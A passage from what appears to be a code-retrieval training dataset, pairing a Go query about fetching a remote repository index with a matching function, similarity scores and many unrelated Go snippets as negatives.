{\n\tfmt.Println(Info(\"Attention please\"))\n\tfmt.Println()\n\tif strings.Contains(projectType, \"http\") || strings.Contains(projectType, \"grpc\") {\n\t\tfmt.Println(Warn(\"port information\"))\n\t\tfmt.Println(Details(\"readyGo does not know whether the port is available or not.\"))\n\t\tfmt.Println(Details(\"User has to make sure that the port is available and not behind firewall\"))\n\t}\n\tfmt.Println()\n\tif strings.Contains(projectType, \"grpc\") {\n\t\tfmt.Println(Warn(\"grpc protocol buffer information\"))\n\t\tfmt.Println(Details(\"readyGo does not generate proto buffer go files for you.\"))\n\t\tfmt.Println(Details(\"User has to make sure that protoc , proto_gen_go and protoc_gen_go_grpc tools are installed w.r.t the OS\"))\n\t}\n\tfmt.Println()\n\tif strings.Contains(projectType, \"mongo\") {\n\t\tfmt.Println(Warn(\"mongo database information\"))\n\t\tfmt.Println(Details(\"readyGo does not start the database.\"))\n\t\tfmt.Println(Details(\"Make sure your mongodb database is started , up and running\"))\n\t}\n\tfmt.Println()\n\tif strings.Contains(projectType, \"sql\") {\n\t\tfmt.Println(Warn(\"sql database information\"))\n\t\tfmt.Println(Details(\"readyGo does not start the database.\"))\n\t\tfmt.Println(Details(\"Make sure your sql database is started , up and running\"))\n\t}\n\tfmt.Println()\n}", "func printInfo(size int, name, value string) {\n\tname = name + \":\"\n\tsize++\n\n\tif value == \"\" {\n\t\tfm := fmt.Sprintf(\" {*}%%-%ds{!} {s-}—{!}\\n\", size)\n\t\tfmtc.Printf(fm, name)\n\t} else {\n\t\tfm := fmt.Sprintf(\" {*}%%-%ds{!} %%s\\n\", size)\n\t\tfmtc.Printf(fm, name, value)\n\t}\n}", "func (dir BaseDirectory) Print() {\n\t//fmt.Println(dir.decryptedPath)\n\n\tfor _, dir := range dir.dirs {\n\t\tfmt.Printf(\"D\\t%s\\n\", dir.GetDecryptedName())\n\t}\n\n\tfor _, file := range dir.files {\n\t\tfmt.Printf(\"F\\t%s\\n\", file.GetDecryptedName())\n\t}\n}", "func Info() string {\n\treturn fmt.Sprintf(\"%s %s git commit %s go version %s build date %s\", Application, Version, Revision, GoVersion, BuildRFC3339)\n}", "func NewRepositoryPrinter(\n\tapiProvider registryv1alpha1apiclient.Provider,\n\taddress string,\n\twriter io.Writer,\n\tformat Format,\n) (RepositoryPrinter, error) {\n\tswitch format {\n\tcase FormatText:\n\t\treturn newRepositoryPrinter(apiProvider, address, writer, false), nil\n\tcase FormatJSON:\n\t\treturn newRepositoryPrinter(apiProvider, address, writer, true), nil\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"unknown format: %v\", format)\n\t}\n}", "func (book Book) print_details() {\r\n\r\n\tfmt.Printf(\"%s was written by %s.\", book.name, book.author)\r\n\tfmt.Printf(\"\\nIt contains %d pages.\\n\", book.pages)\r\n}", "func (r *Repository) Status() StatusInfo {\n\ts := StatusInfo{\n\t\tStats: r.ObjectManager.stats,\n\n\t\tMetadataManagerVersion: r.MetadataManager.format.Version,\n\t\tUniqueID: hex.EncodeToString(r.MetadataManager.format.UniqueID),\n\t\tMetadataEncryptionAlgorithm: r.MetadataManager.format.EncryptionAlgorithm,\n\t\tKeyDerivationAlgorithm: r.MetadataManager.format.KeyDerivationAlgorithm,\n\n\t\tObjectManagerVersion: fmt.Sprintf(\"%v\", r.ObjectManager.format.Version),\n\t\tObjectFormat: r.ObjectManager.format.ObjectFormat,\n\t\tSplitter: r.ObjectManager.format.Splitter,\n\t\tMinBlockSize: r.ObjectManager.format.MinBlockSize,\n\t\tAvgBlockSize: r.ObjectManager.format.AvgBlockSize,\n\t\tMaxBlockSize: r.ObjectManager.format.MaxBlockSize,\n\n\t\tMaxPackFileLength: r.ObjectManager.format.MaxPackFileLength,\n\t\tMaxPackedContentLength: r.ObjectManager.format.MaxPackedContentLength,\n\t}\n\n\tif s.Splitter == \"\" {\n\t\ts.Splitter = \"FIXED\"\n\t}\n\n\treturn s\n}", "func (hook *Hook) Getinfo() (map[string]string, error) {\n\tcmd := exec.Command(\"svnlook\", \"info\", hook.repospath)\n\tstdout, err := cmd.StdoutPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif err = cmd.Start(); err != nil {\n\t\treturn nil, err\n\t}\n\tinfo, err := ioutil.ReadAll(stdout)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsplitinfo := strings.SplitN(string(info), \"\\n\", -1)\n\tinfomap := make(map[string]string)\n\tinfomap[\"author\"] = splitinfo[0]\n\tinfomap[\"timestamp\"] = splitinfo[1]\n\tinfomap[\"logsize\"] = splitinfo[2]\n\tinfomap[\"log\"] = splitinfo[3]\n\treturn infomap, nil\n}", "func doPrintTree(cmd *cobra.Command, args []string) {\n\tassembly, err := model.LoadAssembly(applicationSettings.ArtifactConfigLocation)\n\tif err != nil {\n\t\tmodel.Fatalf(\"tree failed, unable to load assembly descriptor:%v\", err)\n\t}\n\tfmt.Println(\"|\", assembly.StorageBase())\n\tfor _, each := range assembly.Parts {\n\t\tfmt.Println(\"|-- \", each.StorageBase())\n\t}\n}", "func GetRepoInfo(artDetails *jfauth.ServiceDetails, repoNames *[]string) (*[]RepoInfo, error) {\n\trepoList := []RepoInfo{}\n\n\tfor _, r := range *repoNames {\n\t\trepoPath := \"api/repositories/\" + r\n\t\tresp, err := getHttpResp(artDetails, repoPath)\n\t\tif err != nil {\n\t\t\tjflog.Error(\"Failed to get http resp for %s\", repoPath)\n\t\t}\n\t\trepoInfo := &RepoInfo{}\n\t\tif err := json.Unmarshal(resp, &repoInfo); err != nil {\n\t\t\treturn &repoList, err\n\t\t}\n\t\trepoList = append(repoList, *repoInfo)\n\t}\n\treturn &repoList, nil\n}", "func Print() {\n\tfmt.Printf(\"Version: %s\\n\", Version)\n\tfmt.Printf(\"Commit: %s\\n\", Commit)\n\tfmt.Printf(\"Build Date: %s\\n\", Date)\n}", "func NewGetRepositoryInfoOK() *GetRepositoryInfoOK {\n\treturn &GetRepositoryInfoOK{}\n}", "func (*Repository) Descriptor() ([]byte, []int) {\n\treturn file_google_devtools_artifactregistry_v1_repository_proto_rawDescGZIP(), []int{0}\n}", "func printVersion() {\n\tfmt.Printf(`Version: %s\nGo version: %s\nGit commit: %s\nBuilt: %s\n`, Version, GoVersion, BuildCommit, BuildTime)\n}", "func version() {\n fmt.Printf(\"v%s\\ncommit=%s\\n\", versionNumber, commitId)\n}", "func GetRepository(cmd *cobra.Command, args []string) {\n\treq := &helmmanager.ListRepositoryReq{}\n\n\tif !flagAll {\n\t\treq.Size = common.GetUint32P(uint32(flagNum))\n\t}\n\tif len(args) > 0 {\n\t\treq.Name = common.GetStringP(args[0])\n\t\treq.Size = common.GetUint32P(1)\n\t}\n\treq.ProjectID = &flagProject\n\n\tc := newClientWithConfiguration()\n\tr, err := c.Repository().List(cmd.Context(), req)\n\tif err != nil {\n\t\tfmt.Printf(\"get repository failed, %s\\n\", err.Error())\n\t\tos.Exit(1)\n\t}\n\n\tif flagOutput == outputTypeJson {\n\t\tprinter.PrintRepositoryInJson(r)\n\t\treturn\n\t}\n\n\tprinter.PrintRepositoryInTable(flagOutput == outputTypeWide, r)\n}", "func PrintResults(i []ResultsGet) {\n\tvar isslice bool\n\tif len(i) != 0 {\n\t\tisslice = true\n\t} else {\n\t\tfmt.Printf(\"%v\\n\", i)\n\t}\n\n\tif isslice == true {\n\t\tfor _, b := range i {\n\t\t\tfmt.Printf(\"\\tID: %v\\n\", b.ID)\n\t\t\tif b.Name != \"\" {\n\t\t\t\tfmt.Printf(\"\\tName: %v\\n\", b.Name)\n\t\t\t}\n\t\t\tif b.Status != \"\" {\n\t\t\t\tfmt.Printf(\"\\tStatus: %v\\n\", b.Status)\n\t\t\t}\n\t\t\tif b.ExpiresAt != \"\" {\n\t\t\t\tfmt.Printf(\"\\tExpires at: %v\\n\", b.ExpiresAt)\n\t\t\t}\n\t\t\tif b.Regcode != \"\" {\n\t\t\t\tfmt.Printf(\"\\tRegistration Code: %v\\n\", b.Regcode)\n\t\t\t}\n\t\t\tif len(b.Productclasses) != 0 {\n\t\t\t\tfmt.Printf(\"\\tProduct Class: %#v\\n\", b.Productclasses)\n\t\t\t}\n\t\t\tif b.SystemsCount != 0 {\n\t\t\t\tfmt.Printf(\"\\tSystem Count: %v\\n\", b.SystemsCount)\n\t\t\t}\n\t\t\tif b.VirtualSystemsCount != 0 {\n\t\t\t\tfmt.Printf(\"\\tVirtual Count: %v\\n\", b.VirtualSystemsCount)\n\t\t\t}\n\t\t\tif b.Identifier != \"\" {\n\t\t\t\tfmt.Printf(\"\\tIdentifier: %v\\n\", b.Identifier)\n\t\t\t}\n\t\t\tif b.Version != \"\" {\n\t\t\t\tfmt.Printf(\"\\tVersion: %v\\n\", b.Version)\n\t\t\t}\n\t\t\tif b.Login != \"\" {\n\t\t\t\tfmt.Printf(\"\\tLogin: %v\\n\", b.Login)\n\t\t\t}\n\t\t\tif b.Password != \"\" {\n\t\t\t\tfmt.Printf(\"\\tPassword: %v\\n\", b.Password)\n\t\t\t}\n\t\t\tif b.LastSeenAt != \"\" {\n\t\t\t\tfmt.Printf(\"\\tLast see at: %v\\n\", b.LastSeenAt)\n\t\t\t}\n\n\t\t\tif b.DistroTarget != \"\" {\n\t\t\t\tfmt.Printf(\"\\tDistro Target: %v\\n\", b.DistroTarget)\n\t\t\t}\n\t\t\tif b.URL != \"\" {\n\t\t\t\tfmt.Printf(\"\\tUrl: %v\\n\", b.URL)\n\t\t\t}\n\t\t\tif b.InstallerUpdates {\n\t\t\t\tfmt.Printf(\"\\tInstaller Updates: %v\\n\", b.InstallerUpdates)\n\t\t\t}\n\n\t\t\tfmt.Println()\n\t\t}\n\t}\n}", "func (s CreateCodeRepositoryOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (i Information) String() string {\n\treturn \"Version: \" + i.Version +\n\t\t\", Revision: \" + i.Revision +\n\t\t\", Branch: \" + i.Branch +\n\t\t\", BuildUser: \" + i.BuildUser +\n\t\t\", BuildDate: \" + i.BuildDate +\n\t\t\", GoVersion: \" + i.GoVersion\n}", "func (c *jsiiProxy_CfnPublicRepository) ToString() *string {\n\tvar returns *string\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"toString\",\n\t\tnil, // no parameters\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "func (s RepositorySummary) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s DescribeCodeRepositoryOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func GetRawInfo() string {\n\tvar info string\n\tinfo += fmt.Sprintf(\"Release Version: %s\\n\", ReleaseVersion)\n\tinfo += fmt.Sprintf(\"Git Commit Hash: %s\\n\", GitHash)\n\tinfo += fmt.Sprintf(\"Git Branch: %s\\n\", GitBranch)\n\tinfo += fmt.Sprintf(\"UTC Build Time: %s\\n\", BuildTS)\n\tinfo += fmt.Sprintf(\"Go Version: %s\\n\", GoVersion)\n\treturn info\n}", "func FetchRepository(c *gin.Context) {\n\tvar (\n\t\trepo Repository\n\t)\n\n\tid := c.Param(\"id\")\n\tsqlStatement := `SELECT\n id, name, namespace, full_name, user, description, is_automated,\n last_updated, pull_count, star_count, tags_checked, score, official\n FROM image WHERE id=$1 LIMIT 2;`\n\trow := db.GetDB().QueryRow(sqlStatement, id)\n\n\terr := row.Scan(\n\t\t&repo.Id,\n\t\t&repo.Name,\n\t\t&repo.Namespace,\n\t\t&repo.Full_name,\n\t\t&repo.User,\n\t\t&repo.Description,\n\t\t&repo.Is_automated,\n\t\t&repo.Last_updated,\n\t\t&repo.Pull_count,\n\t\t&repo.Star_count,\n\t\t&repo.Tags_checked,\n\t\t&repo.Score,\n\t\t&repo.Official,\n\t)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tc.JSON(http.StatusOK, repo)\n\n}", "func (g *GlobalStats) PrintStatus() {\n\tg.nowScraping.RLock()\n\tdefer g.nowScraping.RUnlock()\n\n\tfmt.Println()\n\t// XXX: Optimize this if necessary.\n\tfor k, v := range g.nowScraping.Blog {\n\t\tif v {\n\t\t\tfmt.Println(k.GetStatus())\n\t\t}\n\t}\n\tfmt.Println()\n\n\tfmt.Println(g.filesDownloaded, \"/\", g.filesFound-g.alreadyExists, \"files downloaded.\")\n\tif g.alreadyExists != 0 {\n\t\tfmt.Println(g.alreadyExists, \"previously downloaded.\")\n\t}\n\tif g.hardlinked != 0 {\n\t\tfmt.Println(g.hardlinked, \"new hardlinks.\")\n\t}\n\tfmt.Println(byteSize(g.bytesDownloaded), \"of files downloaded during this session.\")\n\tfmt.Println(byteSize(g.bytesOverhead), \"of data downloaded as JSON overhead.\")\n\tfmt.Println(byteSize(g.bytesSaved), \"of bandwidth saved due to hardlinking.\")\n}", "func (o *ImageLookupOptions) printImageLookup(infos []*resource.Info) error {\n\tw := tabwriter.NewWriter(o.Out, 0, 2, 2, ' ', 0)\n\tdefer w.Flush()\n\tfmt.Fprintf(w, \"NAME\\tLOCAL\\n\")\n\tfor _, info := range infos {\n\t\tswitch t := info.Object.(type) {\n\t\tcase *imageapi.ImageStream:\n\t\t\tfmt.Fprintf(w, \"%s\\t%t\\n\", info.Name, t.Spec.LookupPolicy.Local)\n\t\tdefault:\n\t\t\taccessor, ok := ometa.GetAnnotationAccessor(info.Object)\n\t\t\tif !ok {\n\t\t\t\t// has no annotations\n\t\t\t\tfmt.Fprintf(w, \"%s/%s\\tUNKNOWN\\n\", info.Mapping.Resource, info.Name)\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tvar enabled bool\n\t\t\tif a, ok := accessor.TemplateAnnotations(); ok {\n\t\t\t\tenabled = a[alphaResolveNamesAnnotation] == \"*\"\n\t\t\t}\n\t\t\tif !enabled {\n\t\t\t\tenabled = accessor.Annotations()[alphaResolveNamesAnnotation] == \"*\"\n\t\t\t}\n\t\t\tfmt.Fprintf(w, \"%s/%s\\t%t\\n\", info.Mapping.Resource, info.Name, enabled)\n\t\t}\n\t}\n\treturn nil\n}", "func PrintVersion() {\n\tfmt.Printf(\"%s %s\\n\", project.Name, project.Version)\n}", "func PrintInfo() {\n\tfmt.Print(\"Surface Field association:\\n\")\n\tfmt.Print(\"EMPTY\\t\\t' '\\n\")\n\tfmt.Print(\"BOX\\t\\t'$'\\n\")\n\tfmt.Print(\"FIGURE\\t\\t'x'\\n\")\n\tfmt.Print(\"EMPTY POINT\\t'*'\\n\")\n\tfmt.Print(\"BOX POINT\\t'%'\\n\")\n\tfmt.Print(\"FIGURE POINT\\t'+'\\n\")\n\tfmt.Print(\"WALL\\t\\t'#'\\n\")\n\tfmt.Print(\"DEAD FIELD\\t'☠'\\n\")\n}", "func (r *Rikishi) PrintData() {\n\tfmt.Printf(\n\t\t\"id: %v, rank: %v, name: %v, kanji: %v, heya: %v, shusshin: %v, dob = %v, results = %v\",\n\t\tr.Id,\n\t\tr.Rank,\n\t\tr.Name,\n\t\tr.Kanji,\n\t\tr.Heya,\n\t\tr.Shusshin,\n\t\tr.Dob,\n\t\tr.Result)\n\tfmt.Println()\n}", "func (b *Bootstrapper) Info() ([]byte, error) {\n\tclasses := map[string][]byte{}\n\tfor class, ref := range b.classRefs {\n\t\tclasses[class] = ref[:]\n\t}\n\treturn json.MarshalIndent(map[string]interface{}{\n\t\t\"root_domain\": b.rootDomainRef[:],\n\t\t\"root_member\": b.rootMemberRef[:],\n\t\t\"classes\": classes,\n\t}, \"\", \" \")\n}", "func PrintInfo(function interface{}, v ...interface{}) {\n\tif !isPrintInfo {\n\t\treturn\n\t}\n\tc := color.New(color.FgBlue)\n\tc.EnableColor()\n\tc.Println(\"[Info]\"+debug.GetShortPackageAndFunctionName(function)+\":\", v)\n\tc.DisableColor()\n}", "func BeeReleasesInfo() (repos []Releases) {\n\tvar url = \"https://api.github.com/repos/beego/bee/releases\"\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\tbeeLogger.Log.Warnf(\"Get bee releases from github error: %s\", err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\tbodyContent, _ := ioutil.ReadAll(resp.Body)\n\tif err = json.Unmarshal(bodyContent, &repos); err != nil {\n\t\tbeeLogger.Log.Warnf(\"Unmarshal releases body error: %s\", err)\n\t\treturn\n\t}\n\treturn\n}", "func InfoPrint(info string) {\n\tfmt.Println(\"I>\", info)\n}" ]
[ "0.67226356", "0.65493935", "0.65447277", "0.62965417", "0.62847465", "0.62759304", "0.61552596", "0.61120737", "0.61120594", "0.5942547", "0.58970207", "0.58383435", "0.5824784", "0.5769643", "0.57650363", "0.57432973", "0.5742977", "0.57110584", "0.57110584", "0.5686988", "0.5681831", "0.5677582", "0.5666423", "0.55944455", "0.5570576", "0.5563867", "0.554558", "0.5545093", "0.55427426", "0.5529286", "0.55129814", "0.55009675", "0.549822", "0.54599226", "0.5451208", "0.54402024", "0.5416751", "0.5414459", "0.54082114", "0.5385027", "0.5369865", "0.53649884", "0.53644943", "0.53535736", "0.5347535", "0.53383094", "0.5335783", "0.53298885", "0.5318113", "0.5318113", "0.5305841", "0.5295912", "0.5274928", "0.52692187", "0.5267719", "0.5258471", "0.5250316", "0.52396536", "0.5229502", "0.5222848", "0.5222714", "0.52096725", "0.5163961", "0.515524", "0.51490116", "0.5142526", "0.5140816", "0.513289", "0.5124565", "0.5120466", "0.51177317", "0.511658", "0.5114485", "0.5112562", "0.51123756", "0.51068556", "0.5100116", "0.50997734", "0.5087926", "0.5087148", "0.508557", "0.50820893", "0.50687814", "0.50626093", "0.5060933", "0.5059037", "0.5055158", "0.50541866", "0.5053215", "0.5051217", "0.5041213", "0.50382805", "0.50350225", "0.5030311", "0.5029061", "0.50266725", "0.50262624", "0.50254303", "0.5023946", "0.50228065" ]
0.80205846
0
fetchIndex downloads remote repository index
func fetchIndex(url string) (*index.Index, error) { resp, err := req.Request{URL: url + "/" + INDEX_NAME}.Get() if err != nil { return nil, fmtc.Errorf("Can't fetch repository index: %v", err) } if resp.StatusCode != 200 { return nil, fmtc.Errorf("Can't fetch repository index: server return status code %d", resp.StatusCode) } repoIndex := &index.Index{} err = resp.JSON(repoIndex) if err != nil { return nil, fmtc.Errorf("Can't decode repository index: %v", err) } return repoIndex, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func fetchRepoIndex(netClient *HTTPClient, repoURL string, authHeader string) (*repo.IndexFile, error) {\n\treq, err := getReq(repoURL, authHeader)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tres, err := (*netClient).Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdata, err := readResponseBody(res)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn parseIndex(data)\n}", "func (hrsi *SubscriberItem) getHelmRepoIndex(client rest.HTTPClient, repoURL string) (indexFile *repo.IndexFile, hash string, err error) {\n\tcleanRepoURL := strings.TrimSuffix(repoURL, \"/\")\n\treq, err := http.NewRequest(http.MethodGet, cleanRepoURL+\"/index.yaml\", nil)\n\n\tif err != nil {\n\t\tklog.Error(err, \"Can not build request: \", cleanRepoURL)\n\t\treturn nil, \"\", err\n\t}\n\n\tif hrsi.ChannelSecret != nil && hrsi.ChannelSecret.Data != nil {\n\t\tif authHeader, ok := hrsi.ChannelSecret.Data[\"authHeader\"]; ok {\n\t\t\treq.Header.Set(\"Authorization\", string(authHeader))\n\t\t} else if user, ok := hrsi.ChannelSecret.Data[\"user\"]; ok {\n\t\t\tif password, ok := hrsi.ChannelSecret.Data[\"password\"]; ok {\n\t\t\t\treq.SetBasicAuth(string(user), string(password))\n\t\t\t} else {\n\t\t\t\treturn nil, \"\", fmt.Errorf(\"password not found in secret for basic authentication\")\n\t\t\t}\n\t\t}\n\t}\n\n\tklog.V(5).Info(req)\n\tresp, err := client.Do(req)\n\n\tif err != nil {\n\t\tklog.Error(err, \"Http request failed: \", cleanRepoURL)\n\t\treturn nil, \"\", err\n\t}\n\n\tklog.V(5).Info(\"Get succeeded: \", cleanRepoURL)\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tklog.Error(err, \"Unable to read body: \", cleanRepoURL)\n\t\treturn nil, \"\", err\n\t}\n\n\tdefer resp.Body.Close()\n\n\thash = hashKey(body)\n\tindexfile, err := loadIndex(body)\n\n\tif err != nil {\n\t\tklog.Error(err, \"Unable to parse the indexfile: \", cleanRepoURL)\n\t\treturn nil, \"\", err\n\t}\n\n\terr = hrsi.filterCharts(indexfile)\n\n\treturn indexfile, hash, err\n}", "func (hrsi *SubscriberItem) getHelmRepoIndex(client rest.HTTPClient, repoURL string) (indexFile *repo.IndexFile, hash string, err error) {\n\tcleanRepoURL := strings.TrimSuffix(repoURL, \"/\") + \"/index.yaml\"\n\treq, err := http.NewRequest(http.MethodGet, cleanRepoURL, nil)\n\n\tif err != nil {\n\t\tklog.Error(err, \"Can not build request: \", cleanRepoURL)\n\t\treturn nil, \"\", err\n\t}\n\n\tif hrsi.ChannelSecret != nil && hrsi.ChannelSecret.Data != nil {\n\t\tif authHeader, ok := hrsi.ChannelSecret.Data[\"authHeader\"]; ok {\n\t\t\treq.Header.Set(\"Authorization\", string(authHeader))\n\t\t} else if user, ok := hrsi.ChannelSecret.Data[\"user\"]; ok {\n\t\t\tif password, ok := hrsi.ChannelSecret.Data[\"password\"]; ok {\n\t\t\t\treq.SetBasicAuth(string(user), string(password))\n\t\t\t} else {\n\t\t\t\treturn nil, \"\", fmt.Errorf(\"password not found in secret for basic authentication\")\n\t\t\t}\n\t\t}\n\t}\n\n\tklog.V(5).Info(req)\n\tresp, err := client.Do(req)\n\n\tif err != nil {\n\t\tklog.Error(err, \"Http request failed: \", cleanRepoURL)\n\t\treturn nil, \"\", err\n\t}\n\n\tklog.V(5).Info(\"Get succeeded: \", cleanRepoURL)\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tklog.Error(err, \"Unable to read body: \", cleanRepoURL)\n\t\treturn nil, \"\", err\n\t}\n\n\tdefer resp.Body.Close()\n\n\thash = hashKey(body)\n\tindexfile, err := loadIndex(body)\n\n\tif err != nil {\n\t\tklog.Error(err, \"Unable to parse the indexfile: \", cleanRepoURL)\n\t\treturn nil, \"\", err\n\t}\n\n\terr = utils.FilterCharts(hrsi.Subscription, indexfile)\n\n\treturn indexfile, hash, err\n}", "func downloadCacheIndex(ctx context.Context, cacheFile, stableRepositoryURL string, providers getter.Providers) (*repo.Entry, error) {\n\tc := repo.Entry{\n\t\tName: stableRepository,\n\t\tURL: stableRepositoryURL,\n\t\tCache: cacheFile,\n\t}\n\n\tr, err := repo.NewChartRepository(&c, providers)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := r.DownloadIndexFile(\"\"); err != nil {\n\t\treturn nil, fmt.Errorf(\"looks like %q is not a valid chart repository or cannot be reached: %s\", stableRepositoryURL, err.Error())\n\t}\n\treturn &c, nil\n}", "func FetchIndex(addr string) (res *http.Response, err error) {\n\thc := newClientForIndex()\n\theaders := make(map[string]string)\n\theaders[\"Accept\"] = \"application/json\"\n\treq, err := newGetRequest(addr, headers)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn hc.Do(req)\n}", "func fetchIndexPage(ctx context.Context, t time.Time) ([]IndexedModule, error) {\n\tvar q = make(url.Values)\n\tif !t.IsZero() {\n\t\tq.Set(\"since\", t.Format(time.RFC3339Nano))\n\t}\n\turl := (&url.URL{Scheme: \"https\", Host: \"index.golang.org\", Path: \"/index\", RawQuery: q.Encode()}).String()\n\tresp, err := ctxhttp.Get(ctx, nil, url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != http.StatusOK {\n\t\tbody, _ := ioutil.ReadAll(resp.Body)\n\t\treturn nil, fmt.Errorf(\"non-200 OK status code: %v body: %q\", resp.Status, body)\n\t}\n\tvar mods []IndexedModule\n\tfor dec := json.NewDecoder(resp.Body); ; {\n\t\tvar v struct {\n\t\t\tmodule.Version\n\t\t\tIndex time.Time `json:\"Timestamp\"`\n\t\t}\n\t\terr := dec.Decode(&v)\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t} else if err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tmods = append(mods, IndexedModule(v))\n\t}\n\treturn mods, nil\n}", "func (s *Sync) fetchRemoteIdx() (*index.Index, error) {\n\tspv := client.NewSupervised(s.opts.ClientFunc, 30*time.Second)\n\treturn spv.MountGetIndex(s.m.RemotePath)\n}", "func (api *API) GetIndex(w http.ResponseWriter, r *http.Request) {\n\n\tinfo := Info{Port: api.Session.Config.API.Port, Versions: Version}\n\td := Metadata{Info: info}\n\n\tres := CodeToResult[CodeOK]\n\tres.Data = d\n\tres.Message = \"Documentation available at https://github.com/netm4ul/netm4ul\"\n\tw.WriteHeader(res.HTTPCode)\n\tjson.NewEncoder(w).Encode(res)\n}", "func loadIndexFile(r *hub.ChartRepository) (*repo.IndexFile, error) {\n\trepoConfig := &repo.Entry{\n\t\tName: r.Name,\n\t\tURL: r.URL,\n\t}\n\tgetters := getter.All(&cli.EnvSettings{})\n\tchartRepository, err := repo.NewChartRepository(repoConfig, getters)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tpath, err := chartRepository.DownloadIndexFile()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tindexFile, err := repo.LoadIndexFile(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn indexFile, nil\n}", "func GetIdxFile(ctx *context.Context) {\n\th := httpBase(ctx)\n\tif h != nil {\n\t\th.setHeaderCacheForever()\n\t\th.sendFile(\"application/x-git-packed-objects-toc\", \"objects/pack/pack-\"+ctx.Params(\"file\")+\".idx\")\n\t}\n}", "func (is *ImageStoreLocal) GetIndexContent(repo string) ([]byte, error) {\n\tdir := path.Join(is.rootDir, repo)\n\n\tbuf, err := os.ReadFile(path.Join(dir, \"index.json\"))\n\tif err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\tis.log.Debug().Err(err).Str(\"dir\", dir).Msg(\"index.json doesn't exist\")\n\n\t\t\treturn []byte{}, zerr.ErrRepoNotFound\n\t\t}\n\n\t\tis.log.Error().Err(err).Str(\"dir\", dir).Msg(\"failed to read index.json\")\n\n\t\treturn []byte{}, err\n\t}\n\n\treturn buf, nil\n}", "func (r *ChartRepoReconciler) GetIndex(cr *v1beta1.ChartRepo, ctx context.Context) (*repo.IndexFile, error) {\n\tvar username string\n\tvar password string\n\n\tif cr.Spec.Secret != nil {\n\t\tns := cr.Spec.Secret.Namespace\n\t\tif ns == \"\" {\n\t\t\tns = cr.Namespace\n\t\t}\n\n\t\tkey := client.ObjectKey{Namespace: ns, Name: cr.Spec.Secret.Name}\n\n\t\tvar secret corev1.Secret\n\t\tif err := r.Get(ctx, key, &secret); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tdata := secret.Data\n\t\tusername = string(data[\"username\"])\n\t\tpassword = string(data[\"password\"])\n\n\t}\n\n\tlink := strings.TrimSuffix(cr.Spec.URL, \"/\") + \"/index.yaml\"\n\treq, err := http.NewRequest(\"GET\", link, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif username != \"\" && password != \"\" {\n\t\treq.SetBasicAuth(username, password)\n\t}\n\n\treturn getRepoIndexFile(req)\n\n}", "func GetIndexByRepo(repo *Repo, downloadIndex IndexDownloader) (*Index, error) {\n\tif repo.Config.Name != \"\" {\n\t\treturn GetIndexByDownloader(func() ([]byte, error) {\n\t\t\treturn os.ReadFile(filepath.Join(repo.CachePath, fmt.Sprintf(\"%s-index.yaml\", repo.Config.Name)))\n\t\t})\n\t}\n\treturn GetIndexByDownloader(downloadIndex)\n}", "func downloadRepositoryData(i *index.Index, url, dir string) {\n\titems := getItems(i, url)\n\n\tpb := progress.New(int64(len(items)), \"Starting…\")\n\n\tpbs := progress.DefaultSettings\n\tpbs.IsSize = false\n\tpbs.ShowSpeed = false\n\tpbs.ShowRemaining = false\n\tpbs.ShowName = false\n\tpbs.NameColorTag = \"{*}\"\n\tpbs.BarFgColorTag = colorTagApp\n\tpbs.PercentColorTag = \"\"\n\tpbs.RemainingColorTag = \"{s}\"\n\n\tpb.UpdateSettings(pbs)\n\tpb.Start()\n\n\tfmtc.Printf(\n\t\t\"Downloading %s %s from remote repository…\\n\",\n\t\tfmtutil.PrettyNum(len(items)),\n\t\tpluralize.Pluralize(len(items), \"file\", \"files\"),\n\t)\n\n\tfor _, item := range items {\n\t\tfileDir := path.Join(dir, item.OS, item.Arch)\n\t\tfilePath := path.Join(dir, item.OS, item.Arch, item.File)\n\n\t\tif !fsutil.IsExist(fileDir) {\n\t\t\terr := os.MkdirAll(fileDir, 0755)\n\n\t\t\tif err != nil {\n\t\t\t\tpb.Finish()\n\t\t\t\tfmtc.NewLine()\n\t\t\t\tprintErrorAndExit(\"Can't create directory %s: %v\", fileDir, err)\n\t\t\t}\n\t\t}\n\n\t\tif fsutil.IsExist(filePath) {\n\t\t\tfileSize := fsutil.GetSize(filePath)\n\n\t\t\tif fileSize == item.Size {\n\t\t\t\tpb.Add(1)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\terr := downloadFile(item.URL, filePath)\n\n\t\tif err != nil {\n\t\t\tpb.Finish()\n\t\t\tfmtc.NewLine()\n\t\t\tprintErrorAndExit(\"%v\", err)\n\t\t}\n\n\t\tpb.Add(1)\n\t}\n\n\tpb.Finish()\n\n\tfmtc.Printf(\"\\n{g}Repository successfully cloned into %s{!}\\n\")\n}", "func (is *ObjectStorage) GetIndexContent(repo string) ([]byte, error) {\n\tdir := path.Join(is.rootDir, repo)\n\n\tbuf, err := is.store.GetContent(context.Background(), path.Join(dir, 